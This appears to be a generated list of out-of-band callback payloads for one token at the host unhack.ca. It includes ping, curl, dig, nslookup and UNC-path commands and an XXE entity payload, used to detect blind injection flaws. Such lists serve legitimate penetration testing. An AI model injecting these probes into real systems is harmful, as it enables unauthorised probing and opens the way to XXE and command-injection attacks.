$ ping -c1 -p 00b81c4ed419a45143b1149322a6a600 unhack.ca
 

$ curl http://unhack.ca/p/b81c4ed419a45143b1149322a6a6
 

$ dig b81c4ed419a45143b1149322a6a6 @unhack.ca
 

$ dig b81c4ed419a45143b1149322a6a6.ns.unhack.ca
 

C:\> nslookup b81c4ed419a45143b1149322a6a6 unhack.ca
 

C:\> type \\unhack.ca\b81c4ed419a45143b1149322a6a6\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b81c4ed419a45143b1149322a6a6">]>
    <foo>&xxe;</foo>